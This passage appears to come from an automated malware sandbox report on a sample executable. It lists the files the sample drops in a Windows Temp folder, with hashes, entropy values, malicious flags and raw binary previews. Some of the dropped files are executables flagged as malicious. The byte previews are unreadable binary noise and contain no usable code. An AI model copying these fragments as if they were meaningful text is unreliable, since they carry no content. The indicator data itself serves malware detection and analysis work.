Preview:	{"logl..H.qp.E-.....S:..>_.lB....}F.&!Z.#YZ....q......b.#4x..4..4.......%..(Dyo.nW\|FNA.S..7C..).Z.C..~...8A-{k...J.....j.,...y-..Q.2.......6.(.Z....V..]...3.....].9.0....j3.ny.NY.c5>.@.yb.@/....MhbV..HW.W....%....uz..X..&.5..s.,3_L..iJ..yq.....C...@....zV.@.=...{Z.8.f\..0.C%...f.\|\|rlv...?S.>..WF.f.rA..G..q..z.K@.....3..Y.p.Y..KmW...F...Q...I.>G.Q". .{.}.IXor....z.)6.1.dI~^..DR.F...y.r...v.M....MQH^........ x.U.y........C..{^..%!?.1m^.J...Cjb.S.%\|........c0...p..d.{.1.W.....#.d.j.Y).....].Q.#.c-..1..2!..<.....nu.$.[.>.k..[.........-......Z5.. `Ns....L.......7;zy.....~eyH..X..(.Zgb.p./O8.{.8:..0.....3=....V..A].N.k3.\a....XP..a....cO.=e..<.I.f$...P.....t1.&.a..P_....b...?...W.8\|.....e.#K.....E-1f.;........'..H.0)..6.b..I!j......y0...B.(....?.....~....>.1...wPW5.1...{E.\|.^.............z...P..c.....Li..2;...7.Y..u...s.;V..<p...z.J.]b......iR....+.8....d.......r..O....`.d.E..........p.,...T..N.....YHg.N.... .7i...+.Q...B....SA..P..y

C:\Users\user\AppData\Local\Temp\jones.bmp

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.175159036742545
Encrypted:	false
SSDEEP:	3072:wfSDM2BFPkyFAvcrNyY5b8dJQIzMiSqkeuukSddoEhDR24cO+IcGGkkRMiH:wfStDMyFRByjzMiS4VkS7zh928vBA
MD5:	C15BC263123039E0EB203F31B59FA2F5
SHA1:	1EC110DE7B125C6B9591B6C15DE763EDB4654FF8
SHA-256:	0F3BBD8D81139D1C4D9E9C1CF1B622F739CDF64407893C5C56339902EFA6F7DC
SHA-512:	279E21313EFBD9FC812A8457520112137607E6D86FBE43B2649B5A729E86C1C96FE733F7DD06AA85F8CA0F2F1ABCF68B0233A6E0B6397948A2FD99873FCE6D00
Malicious:	false
Preview:	BM80.... .K..P....y...V7q.W?.M...+R.> ..Y.../....`.(y....V`.........J.X.U...h9.u.......t.....B.M...lX...u>..M[..n0......H..0.h...v...S.w..%.7..c3aJ.o+.L......7R...:..&..w......6...a.:o.f.&A.F.pm....)).E.-.9}.D.k.{.&.1U....`{..Zz.......mwy.......`.../...0..2...J..\|..Wf...@>..<..Wgb.cp.{z...,/...`...............`.&....0.<..f2B}.+Q...Lg:.XcL..8...{R.!qy=8kF..F.@8.d...&Ha.Y ./4B.~...uj.F...(..%.!.E.Xd{....+')........<...U..G..$.r.+..+...,.\...85..A.bUA.<..p..."6......p....V..hX.K...P.)t......R'..h...6...3o.C/...@s.Fe,K,..4Ri.._.....7..Q...S..<.gw..{0.Ar.&.ZW.B;R\....=.>.H.....+..Tj.i.S/.s...D/{.'ia......j..@_#.6.G.......~X...]..c..#{....loW.r...h".cR..M.#.6.(...}...;%RW.H$.6....W.Z.}T.<._...".j.q..v...v....[v..s.[.......P...;n.%/.Js.....#w..S).aK...".r'.9.>mG?W.(....o..L;h!&5M.b.b... ..FZO.}.R...oR..i.>...8.`.o.Y"K..z.......`.....L....~.7=.l...r.^._7.k.A......1v.E.....\|.^..N..A.\|\.G...;..6h.b8vk.b:.v..4.ue........W....I.@>a.6.V...c....K..

C:\Users\user\AppData\Local\Temp\jusched.log

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	7.839173291858471
Encrypted:	false
SSDEEP:	24:o092ocjfm0K8Vn5EOuuDLttcnKgWHC/BKUGzg2+J+UyxbIjKnta3zbD:o09PSm0K8gCttcnUHC/B52+J+dxRnU3D
MD5:	FB6601826B6B24F7E5607088826E9440
SHA1:	A2A6CC4B001FA50DC008D77EB67A522F34BE62C5
SHA-256:	07D2988794478F5C68CA16575B97B898ABDCF65B77B56AFA685B555404DD8DBA
SHA-512:	AB66A5DE34AEDEC74A8196340589CE13B095D0F9F802939B24ADDD3A2FC24F4619B7A78E52E9EC36752976976EBB74243CB203407C0CA6B682879C1F6EB86FDE
Malicious:	false
Preview:	[2023.0-.&I.3(G-,z......M.q..-.D.l.`A...I..Hj.......L...."w.. L..6.......EZ.#.Qk.Y.Z^...>.N...^....S.N.}.dnA$.7...<.h.....U.&.q....:.~..T..Au.....V..2@..>&.....F..U.5.?.M9..-^1X.q!...h.b.t.)..'...W..cs7.....UN.bn..Y.F.i..+.J.B4....=...N...Y.U....o.@....M...CI..`.....yG.b..W..............=....&.[%...2.H5<.L...tsA.$..F.f.s"+C....8^+....,a.:]E,V..b..X2.._....,Y%.m.{...WE.5..,.:6j.V..u.....6.a...S!<.?.0.k.....ZG.....L.9T.)-......x=(.C^h.,A.Y1..v.h(I.h........bmx<..!.9-.c4.S...UaPkv.A....l..>......;.q.E....Zt2..H-.....y.......X..V.L.&v.....@e0.A7;...<..%.Z?..0....1m.L..U.6..Oq`..9.J....B......X{.).+P..9.T..~...x.i.#....H;!q./..JR.k.zG\.........0.-.Ra..L1.e@m...<:.\..U.._iK....".....D%..H.Z.z.o...V.....iV....c-]g..!nG~....q..T.,.......@.3?Z...L.w...O.g. .T..tK........m...$:.1....7uu"..........4d).).sT,..B..Z-.......B:...U...........\F...fJ*.....y".p:.Z..z.1...'n.6..M.......<.Y9.Q/c3..a5`.6..Z.T.A[......1.lH.W7.........$..r..B.5_.

C:\Users\user\AppData\Local\Temp\msedge_installer.log

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	12196
Entropy (8bit):	7.984409700287312
Encrypted:	false
SSDEEP:	192:wZ/AS1xZNx25yUcKGZ/tF73APoOWPgK4XfsyattAmsZcHimEMyFwSyOYDEf+FvuL:s1xZNxCyUcZ9H7QwJgRfWttAm2rMSxYy
MD5:	971CD4D97D432F48175840AF6ABEA9CF
SHA1:	03807E0463CC560EB7D01DF32F67CD9D28907DBE
SHA-256:	13C82B3EE993DBFB21F48F4ADA2C5D7E5A6926914CFAA51124CD534396525A17
SHA-512:	12E42D4F2BD4BB9C75CEA35EE5F34CE1E068472A37266FD54724E6CA2D8B69C8F5BB973C9944169EA4364E8914744CADEAFAEE4FE9C695390369A14A64975DC1
Malicious:	false
Preview:	[4356..\..Ga......p...W1)C....'akI..*...z0...'..P.n...y..e..E........}......,E..x...&.....PA..n...J.c.......+.0.j/.........M.0W.;...x.(.Vs......c......D..J.rI9.....,.E.0.....S.m.#.c.%,..{e_.34.2{.o...H.]R..z.i.{..'G....f...r1...`..1,..R..h.EgA.....D..u-.........!..I..n...G.AE.U.J.............rF......O..........U..q>.LI.(..........d.@.1M.4..........H..V.EI....s......Is.....u...V`.C....Yf.;....}...,....cJ-3.5...D?...!....4.`..~.l.y...w.r.q.sH.Wc..G.:...O.>V......#.hB=)U.....c}EBe.[.L.O'..@.,..Z.3...S ^..?V..q......M1.n&v.g....s`.f...k...O..G...2.:.....1../.s.}...g..I..D.cu...6N&...h...B.\|a..kA?z.6..X..'..C..ydX...t...\|l....M.qol;.T.t.N.PLy.2..,.Y....<.@..%G.c"...................1....k....+..t.hI.9......q...j.Y..v=.....f\|.\|..W-D....<1......O.........N.8.R../<.h...S..Y...~/.c.[....nd..B.....t.f.....K...zo...W>.O.\S..E.......Ff..._1<..........X.3UPb)..f...a3.cs.!.q...n....?...@xo.I.......zP...u....W7...`gZ.....x......?...c.d.a>.U..c.c........

C:\Users\user\AppData\Local\Temp\offline.session64

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997268981034186
Encrypted:	true
SSDEEP:	1536:SbFlbngf2Asy0l2B6xaS5w+m5tvgHYoJ6SKjB0O3Tv1WRRhE/:wbEqyW2B68m7mBg4+6SKj71
MD5:	538999FA9475BD19DB17D011C8D2D530
SHA1:	793A27D81D0132D0DD2E379B936A3A2ED84387CE
SHA-256:	8BE3D82A467F974872AB6B2943405F6DC79BBA60AAD905B397581B420E021068
SHA-512:	42ED5E1329D94E8E328E92ABD305F498335F28A14EF5E00B6686560EAFC2AD1BC23A5CF0A0344B84ECF35FEB4D7FCF1096B4481A5AED299653B42CCAE255B25C
Malicious:	true
Preview:	1G.f...>.....M.:.....p...-{R......=.oT...0.{p.......F....5.L..1.."!mnm..L.....~....&....P..K1./.8.{..1...."g.).4..?.-:...!.3...........l...V..I..l..t.;l......{.U...KC.\|.A>....5...X..^-...^.q~....;]g..c-:k..>.Y.....U....O..0.K.1(...$...+.:a.3.B.Vn(..d.K....J...sN..U.[!F8....g..Q.....\|....Q.n.w..].k..o.N.5.p..d.BZ0...m...`a.W&(..5.=........+....7Q.L'..]....i..;..`0....1p......GWS..Q.._..z!..5........h..~(..)...d..../t..~.....4..m^..(.B........:j.8#..c....=T..8._..'.\;[..w.....0.).j..n../<..Af+Q.n.....a~...n....U.Dj.%NXY.nS....3...P.1.'^...h..z..../..%1..,..G.t; ..R...!..1.&.....U.. .Q{..u.T".s..%.Y.X._<.-r6a........\5n........F..?@......&.[.:?..j...iZa`...7..1....LG....+..7.#....=7.h.h.-#..FN/=..H%.h..L..3{.x..f).N......~..K..&I.>..\...c$.4.O.{.n.&.H......+.[x&$..-k.UH..#..B:.E...,.....[..=....Q...u....I`g..qE2"a........Y...B5q...L...W...rd.=...b..,.S...?..U...3...c.tj...~......V...M. .....D....G.C.!.Nw...~...H.._....y...D...'.

C:\Users\user\AppData\Local\Temp\prep_Form_JSI_API_not_a_real_file_V8_perf.cache

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1045
Entropy (8bit):	7.7931099749511645
Encrypted:	false
SSDEEP:	24:yYclD5J7d1nPyyxkn6es8UShZRAh4j7NmJJ7FE9gS+NI3zbD:ynVVzPhkNs8Uxhui7Fsz+NI3nD
MD5:	648D88D6AAA9CDC35DA8CB264BC6E429
SHA1:	BB20D2F7A75307D8318E1228CCE2A1F0FA2412C3
SHA-256:	5C1C82116D7CF9BDEF7BB4D808D91754118A3DFD96479C39960A088900074E65
SHA-512:	883B33F2224E3BC30C416084CB6D72770179CA05DC5B68A116EBF59088E83885C55E29B7325D55A96D30B50EB25BB638DC1636CFFAE3F70DDD6CB2B57987A876
Malicious:	false
Preview:	RNWPR<..]9S9p.(J.....VG.;..I.w6....w.....;Ys[4Qs& I.iMj.P.E...F..r.Z...Z.f..`.........\@.Z.BW4'..!.6!.q.r.....I.........v.6.X.`.'X........?.........h..(."..9.4`.).Q.M.N..,.!\.{..EE...,.g....,fW&..G+T.d.,...X..SK7..l7..I....4..g...O.~}.(l._......0..l.......=.;..p.....O.n..2...f(~._.Y....\|W..nx..H..9.q[N...H.ZQ.o.^=2.`.J..i.@.v..z.wZ\...U0..M.UYZt..;v.'.C..R.^....`.a.`.rRU.9..e...5rJ. ._i...QXs..bsH..S..B1..".'..,..p.;.`.8k....\sp.....gm.=.]...Q].a...W$ ...o.r.m......o.g....Oi..8u.l.sei#^wm.".....I4.dB.6?.W..E./ln....HW.WN..X..<.....h9R[.@...I@.[h.hyk.(.....L.;.M.$+a..=S(.-;...B..;.bZ../...G...g..F..L$.2..E.R.S#y..o........._I.....?..`...!o-.K{Gx>X...H...D...R.,.X.....:F.,7F.2..+33.U^..Rk.b...Z7>e.....Qb....%..@.'......K..f.t..@B%..g....6V.....q..Wga.R`0.<.e.z{>.....5...S7.=......9.W1..[...7UR.eb....Q.i!....F.rb.v..x?........J.<....g.=x.73y..8#P0.T&....z.Ab..S{.35x.~s.}......#0.^..gl.$.}............bB....`..i0fXrUHVihm5xsI9Icg243YMPJqd748Oc

C:\Users\user\AppData\Local\Temp\prep_foundation_win32_bundle_V8_perf.cache

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	661993
Entropy (8bit):	6.822644447038959
Encrypted:	false
SSDEEP:	6144:iQSs5bqEWxYMnCSVAJDkrzTo1TiKfjHUSD2wWglbTbXFaLcqVpHloibPvPBysPe5:J1anNSNTimQScGALcCLQx
MD5:	E0E1100631D95E237AEB72F72C589F98
SHA1:	134CD16485195889AE82747F3972F3B6FCA55B35
SHA-256:	4C524C4B164701F8D12F31E3E1203E222734D4C14A838A844B79D3E2505D3217
SHA-512:	BC438E8B8FF86FDE4F16D69B8013BDC1338791707B68C0EBFFE265E1862A5C3F0CF9427A725D52B4040F1CE9B83E05D12D46DF172A0E9FC3703CA4598FB9199D
Malicious:	false
Preview:	RNWPR+...e,9.I..f.oIfB#.].uC(-.p.c..2R.%'.".....F.=j.......oN.K....N..._...Y.2%.pp3f.5..`>T.<ye..(.x.a.k...e..KT..........~....r.,.....BZZh."[...6k..~......2..<)..8..'h..v..xJ:b..n....s..@......g...mH?.........1m...8g..T.y_..uWn..T`!84...pU... `..?k.J..v......L.....:.k..._.;jJ..+..7K..].....h...R.L../.B....N^z.9K..."..U...e....@.Te9h<.x.]AW.....z...x.{.....~.ey.`...@.#:..N'..r..z..g...{..M......,..~.+L.`ZU]...-..4...R..\|...9.i....@.r..b.3...4.......LL.......D_..9.J..g^..)......O#.....XSF..ZP.....zd<....D.(L...[k.m4.&.U..3v$h"0C?.<GjXeF........et..K....>a>.......e..M.P[..... ...eBB.)..D..Fk@........AF5...Xl....FG ...G.X.WucE..<.x{e......l..y0D~...h......d...o...(..@.?a....r. &..p..P.Np...... ./E........q.5...5...xJD......@V...\|.....%[.V..\e ...S.......m....,...gzj.@\l4o..Y.C7...V.....;BTO]j.T>...........pm.h...OD..`.....6......`.......i\.~......0n..Z8 ..s.c.{...+z;..2..9. .sk.w..?'{0...<.JS.YE..IU.6...MM...._M+..2...*.......C.!..

C:\Users\user\AppData\Local\Temp\prep_privacy-sdx_win32_bundle_js_V8_perf.cache

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	193293
Entropy (8bit):	7.87159055673906
Encrypted:	false
SSDEEP:	3072:ZkgrhPjrQl8713/hU3tiCtoVLuk8gp3Mg2OjwR8I6JZpG2AtAz4pZ6v7G1rElDbE:ZkC9jMl8713/+38lVF2OW8c2Mi4pwwW6
MD5:	C3DD946EC2721893017978B22B2A189B
SHA1:	90788DB76B0E7D93CFFDE1E97ABB266237A25E75
SHA-256:	040270CF0D18069F94367E697731D187A824E9F9CEC57850B061F541C85D372A
SHA-512:	A365DCD99AEB807D8563F3213855F9C8046F961785E6D631F2BA66F018AEBC43760A9E356ADCC963C9F1C0536E7569FB54D1B700D8B83B6B1FF631251E74716D
Malicious:	false
Preview:	RNWPR.$9...}.-..G.6<.L.......5.).7.p...ox.Sx.02e..%i...0..._..E...........zA.7cV.)T.,@h...U..W}X+...Q.61.0..]7.V......E<}2x{_H..t..(^.8...-.........fv.]...P......?8MGDI..T.q..b'l..]..`.3#........HM.....z.{.A......1.-.7.r......y...V.OS;2>\|......Z9R.}..6_.`.0..<.4...`..3.-HQ]..w..........7..q..c(`....K.-M7.T.i}..F...'3....Q.{.l._..z~....Z.Zki....Y.6.i5..._7!..&...%<.U....p~N.....q..J.u.....u6...j.S...<...3(...F...:......k(...R8..0......AO ....,T.[.....P.......:G8.Z"M....T.w^.....C....S,.$!.mJLI...s/+.Hcom-.x..;.]..m.`n.......b...?._gcG...9..W..4.R%..9..6fC.f.....4Q^..3.2..z.Ow.~O<..l.+..\|.......V.....=.Y.!.aRk.p6X<..._...R..P...E.....^...}..I%P....4.7m\|..F....U.]zw.....I......t&...^...2..2.D%..k.....g.L.;.Q..N....Q..Y8..\|`.......V.Q!..u%#c...<Z....M.8.H.........R...z.3HB.b..k..kG\|...).i....ow.H.....$.9.2*s..pCK..H.....v.Y.....>....{.....vap.k..l......^....Y.G..l.]..x.AX ....E...Z..{.E....,3.X....R..C...C.x.n.n_.N.....X..{..8.]kh.<..

C:\Users\user\AppData\Local\Temp\prep_ui_win32_bundle_V8_perf.cache

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	240193
Entropy (8bit):	7.548730655570477
Encrypted:	false
SSDEEP:	6144:KHMM/zyzPdaCoH9GGI35FKb/n+RJtdlKF:FIGLd/o9GGb/n+u
MD5:	501660FB936795AE8D64291CD5E6AFAD
SHA1:	1A016246A5A4AC45E75F98AE1E2FAF4F88E48251
SHA-256:	66D80F7482E49132AF5BB0E46461677109D3228CB96FFAC681EF8A8792CD325E
SHA-512:	56C847552ABA1F9EF4D16948851B21D8A66CA5D2038B9B8EC1B45F3D12C8A3E9C38C9C107974516FB840D99539371620D4DAA0A1C01BABCE06446019281D04E3
Malicious:	false
Preview:	RNWPR&.bP\..l.S.bvRB....+}x.b./..K`......>...<V....g-...zI..._u.I.z...6.2.!4..0.S.(..\......~.lOQ....r.Vw..^W..9..>O.>.....W.tgK..7Z...F.1.{...c..O)F.'...FV)k...r]r.$N......./.b...2.z.4.lF.....A;...qP.@.....l.u...S<p.Nq.d.D...jA.......>KB.T\#...p..2..X...#..3uF.....:){..\..../..&..H..l......Xb.....s.J...JeX>..X..5#3..E..mzt..4....f..h/.o.s...H...@....5..dg7.........X......@.S4..v.70..Y.(....:...o.V..[.e.u....{..8..I{..w.......=.%W./9aN.. ).'.C...N../.r.)..X:.3.F...C.`N.. !6.&........p"...3..... ....-....6:.0...V>@`..X..~]yw...u.....s..=p.A..55j.. .....J#..~..+.#...M2.v...T...]`.i...D[.Y.+...;pR.Y.~M.65...`!....W..Jv..B.a!..<.7.].........e.....@t%9~.#}..Jz..CQ.y]>}Hg4 ..L.Y_.-64.K.X.=5..o.C.$}H[.P`.u~M....Y....qZY."..j..1.l....u.=.[.4GM..."T{..Y.^.7e.....@.u..7d.].f?p....F..^<...\......l.].....5.QJN.R....%.....}..'....@i............0.M.a.u.H..".S...a.i..y....?o.'sI.......l..._..[:......G.....;....s\3&]K..O6.......o..C.....Mh.J......8=.

C:\Users\user\AppData\Local\Temp\tmpD027.tmp

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	808270
Entropy (8bit):	7.955439527143106
Encrypted:	false
SSDEEP:	24576:/k5OPZrvXxgYBV6qBi9oE/MfNzf4NSNoC/Ti:8chrvXyYBMqBTEEfwS2r
MD5:	F64A600473EFA68461B493EC312C7F37
SHA1:	5BC310BD252D67E9E1175B47FDF193FC53785A69
SHA-256:	664DFEF6F39199375D2DE75EE3DBF73031F440087B08943CE4E8AD97F63C2D99
SHA-512:	C2EC609F125B1C4D3CD1562A58FBCDBDA84EB7B5D8C95EA14D35A971A97F12093442AC1443456A9BE908C0CC72372348AEFE71F7442D3E78C174F3AB385D5307
Malicious:	true
Preview:	MZ...Lx..$......B...._.'L...^...?.R@...T.V.8..f.w.Z@.9.Iwg.}gw....HG..E#.8.}./.L'...RP....Rl;.T.U.....u.e.g...$.&....Qf\|..@.^....l......[(.....\|.)&.0Tq...%t..\.....@...L..CbC....+'[N.8...Y.5.(.MRR!.)...!.\.>Cc...;..d..A...Og...v]l....:.d.(....f../.....A.j....0.\........"._....M.=9:.....Q..u..r.V..K..%Z:....8.j.Lm..8.U...k..@..}.T...2.....g.).L........x.2..q...d....)m.J4T.\.rk.s..uP..3.:G..UD2.x...q....O+.!g....)!..rs.a..1..2............w+xN....&....W.8.K."...D+..3....j...$..<v..F.x..42....b.R...k........}'l.0&.n.y.9.vJ.UX.........H....N..l..7./....g.h.F0m..c.l?y8...-<..u4Z+.........l..G..z5...g>a\|\...G... .X.V..-...C>..1.^h.p.....3N......B........c..hW]_........e$.j..{2c.P..!=.o..JLU.........:..&H..Ab..D.t'.X..\|.&v.........i..xC..0.@a..G`hur..m.yq....`......d=n.U.1o../...\|....;.^...Ds.c.n]....-.p...6..s....1...s@......$.0....=....r...t..)..:.9;."...B.m.]F$..$G.O.m....Ml?...<O..(...52...6o.R.!P&9 ..C..U.*5.y..hq(!0..KFB...b.=DO..U`

C:\Users\user\AppData\Local\Temp\wct1834.tmp

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997061867680258
Encrypted:	true
SSDEEP:	1536:yhX13KtiCmh9svwLPzNpFhxbVi5bRredBbEWIPAXM8Tn6gTM:yhVksh1bzNLhxJUzWIPeM876gA
MD5:	B868721CCE2405E56EE379BBCD46124E
SHA1:	09585740A99AEE2A788C7BA8EF161A1A4C771D71
SHA-256:	B2486804DE927286FF6602E2D29599C80519682B6F8FCE5A4B83E8647E56E642
SHA-512:	DB99CB662D5F475ADD5A7F3704F04EE3D9FBA40C627945D8B73C8E3D19DA1FAD345FD307AF6AB657B0A247008AEF22046AE11A3AC0C41427FA9B36038BBE067B
Malicious:	false
Preview:	{"ram..........(....g....!'..T.G..=8/.}?......t..>..4.......Z.B.;.P2'.....p..k(..X,@5z......f...6Dg;.B0y.3.Ec.^...`.n..:......sQ4+...;..;}....)..%.......Kt$.=..._5...N}.......bAH.R.XS..1.....@...E.....{.k...&.".b....B.A..'.....A....u.A....o(.....y.1....E.1.e.z.6...6.......^.j7R...m2ry"......(..b........+...........3.y8.5A...-86..N.(.s.)(.{.?^.....0.,..%.5.j...Q..p<S<.c...DW...3.He..fp..5...Np.Q8.w9.....^C.0~ ......XO/s...~..H.G..p..v.m...9........w..m.F....Z}..G..SQk..od.=.fV..7.1......KW.LDD...pJ)...D......v.D.e...W....#.x.{hs} .r2..H..q.....p+....BAnt.>.xml..j.D.y.m.....}..X...D..\.@.s.r....8..X...k..7.l.^.r2.C...9]NK.......Rky)...K......p.~..&,.:...F.v.7.G.n5).u.z>....WOR[.q......;...c......i)5...y>..p_..2,O..@.......d.(X...S.}G1.Q.W......s.J....s+....(.(.Y....LH..x.....&S..c0.......-.....w..n!...2.....X..E..8+N...TV.$....J.t.2...J..u....\|B(uj.....vf..rz.1iU.....If..U.r.....D....#..b,....R.....%.3.fh...V..1G....%..<.y..9u./...

C:\Users\user\AppData\Local\Temp\wct42C5.tmp

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997240937900497
Encrypted:	true
SSDEEP:	1536:En1wjW8aqtMGBwt6G1QutGeS1sJNjqzMZdbxmalnVp1wxTvshD:En+jW8aIo8GBtGL1sJNVbxmalnVpCxTW
MD5:	8849075DA612B3E67137AB3759378878
SHA1:	7F773053221217185745F4CD4FF03E8183A1DA0F
SHA-256:	717E1D859F62A9646E900B842F66DA985B1B0D57BE0717BB7C8AB1D88473B5EB
SHA-512:	5047804AF7F6D167166B8048215F28FC957FD4E10B9B6D8E8938CB7A494CFC75F959F1CA07C1A3E78BE6D7BA7EBCD5D3536897DDFC14A9867302CFF2D3377E15
Malicious:	false
Preview:	{"ram.BmDSxC..G.A...=n.9...P..{...\|....O.J.}{..M.u.......1k...og.......j...].N..4...B....z......~..5..NO....h..ZN.X.' ............c.w..{Y....wh04..o...;.E.:...R.zp..W.5.j...3..;..._V.y..{.u`...`J.F...<...J.h.....eh\U.i....oJ.O..~/\0.5..h.._...,...m...8.....8..e.........W.^.m,....0....,.J...m.......%^.0......].j.-...8k!/...q._X..b.c0.......d.\|..2R...\|.v.h...V.../N..'4.K..........=2.....,..XZFk..]b. r..O 7..11`........$.0vgdJ.[...M.U?.]."E.<.....8.8.....$..%.._.J...).p.<.v.v..#0.~+...9..y.S..9..z7O......=..y.da..m...!.......G..._(W...g.\!..b...]..:<[....j5TpT....K9b..z....Q..yv.\..._1..B=T'9.........'._...8.(.t...WH......m....2.......[.....@..z9.b.KZ.........X....>1d.\|...l...J..;...W.....u.3.g....._Z.(..i.$..>.Ix.y.....n..{.."..!.t.`+..Q...>..&.d......R..!..0..i.S....L..).D^.5..)!+.t.>.N.c"].if...T8'1.dg.7...B......K.Y..r...m...E.d......+3..Q...k'....+...:.....s..M..84.F...BA1.........`...j....C.-...gb.(z.:A.....f.....p..}..$......V..h...E.1

C:\Users\user\AppData\Local\Temp\wct4B1.tmp

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.9974828521257315
Encrypted:	true
SSDEEP:	1536:d95DRpez5Vj5ZmWuyBv2HbJMjbIjV8DUmNMvDzR+NjujGDUal:d/DOzP5ZmEBAGjWmNnuval
MD5:	16C3FA273E8D1E76A15130EEE361A337
SHA1:	C2A07DA8B19E2FA066ECD3391B8DA2D594D1D441
SHA-256:	4933D35D336565E3A744D68CC87A4BCB46811A8576D1CDD5BBF37E540B0FBC7B
SHA-512:	FBE0C7CB19CF0F2018E60CB59603D2961B38EA5E36AB4CA0C26A9FE0A4FF3571600E539C02DFB87E2B25BAA856B03F5152A6F0CD0A99C36EC515D092834AB08A
Malicious:	false
Preview:	{"ram.&..-........d.......j..-...yG$@.DK......X.Y3^;g.w..\|7......W....H...e?yj_..^.d.."$...}./T.j..B;.2O{.\..q.g....:.k..1F...k.#.xs..<..;Ocv..q.K.C.R..e....V.3.D....A...4.K...P..W?.g...O1qg.]..dC.S.^P!..3....-...IK.%.....4.m.y.Y.._.S....L..M....GO.u._0....CD<.....~3...H........iv.m..F.Am.l6.b'._~U.&...T.b......5.,H%&..4..Ht..zy....`..4........S."?.?R..Q_M.9x.... .u.H`......3[.c...<..l..6.d%J.j.q..1.......S.\{.....:..Q.?1BnX..TZ..KT.._:UaYi^.?.>.f1x..,\|.M.#g..^...t...........w...U......W{.8C.k...a.EEx...E.z.M..,...?.....LSB...VoI....I.L/...:...5.Pi9....R.<..M........;$......%..P...4+-..,*.m".=.g6.o........V.......bT.U..9...eI.Pj..P...u-..`...R..y;.f8.\.......<.FF",......p\|.hJT...i4X/.Y.H9..:.."tx..uf.N>..}vJ.....H...l..:.Y..f...#'.r7V'k......!...D...w.d0E...a..y9_.X3..;m..J.u.h...@!...$..=.q...V..Y+On[h...M...U.._jg.....g\|}...Y....Z.:..b}mZ&...V.P...MH...Y...I.....0.0b................QF!..Q.A.DH.u...,..!xEep.....K.........

C:\Users\user\AppData\Local\Temp\wctFE34.tmp

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	42164934
Entropy (8bit):	7.947663456020467
Encrypted:	false
SSDEEP:	786432:rwQNeYDxVRrMPJy7LVV4NDDmdrZy9wOtg5gGOdjtjSNu4GIluUNj56I59k:EQcWxDMPnN+dk65gGUjku4vNjLjk
MD5:	1F3C61D6978D256CEBBEF78112E30F20
SHA1:	58255C2147C7D74BA7E745F0F519ACB9A31F6C68
SHA-256:	EE7330C306DEA5D18188754CAD05B223850BE8D5693FF7EE73FE761EF24B68CE
SHA-512:	B91D4057A8F24B378D69F56FA63152608B5F49BBB46450E67A969653ADDC4D60F736EF553E304BA98B233F95E52D1AAF4276E3FC1A3CD4676B6D6C2799AA86E1
Malicious:	true
Preview:	MZ.......&w..sWZq....>=.1..1.p}u.jg.u....iT.W:s......h...t.$'&....~.L. 0u.%.<C.p.W8.(...Ghs.7s}[........i.%_N..~.u...Qm..=..u........vP...._.d........j...d..f.K~z..[T..a[g..@6....>.t.hm...1....~U\|.e."Ti.i.....OR5}Te:.h.Q..k(v..7(.........g.T.....'@-PJ..N.......s.)..C,.a.z\H..v`.b>...M>o..Y.u.C.-...4.W`......".jy...n....},.J3$..Y...4.p........YJsc..K......w..V...p.....ja4..E.+IKV...k.....;..=m......].......$N..%.n..xC.zN.$...........`p.o..f._....j.5V.\|.o>..g. 2q\|...^.....w`r..4Gpv.kD..q.B.AS..l$.~.4. .d:Z.m....;{#.ku..y......;\|HR.Ds&..b..o.p.q..P..m.&......1U........E....\|G.j.uV^.....b.@...+Y.(..@.....O..^B..._.;..=..."f........`...........+.......3r1.Q.E<.....>.mQ.3....Z.....0E/qhw...8.....V..:Ih.]U`j..L....&.(t....Iq...p..v.NGq.pD..M._.oK..3..E.P....U.&_..+./....m....q.).4`......."..4........o..Hw..&...K..5..E/.=&.9w.+\|Q..G.<.._....X.&R..N2.....Q........5.^.!...6.f.k.!0k...w.xl.:j.*t...H..w.S..I..I..wM.z!.S....G..$..%{.Jb...o.^.....V.j..

C:\Users\user\AppData\Local\Temp\wmsetup.log

Download File

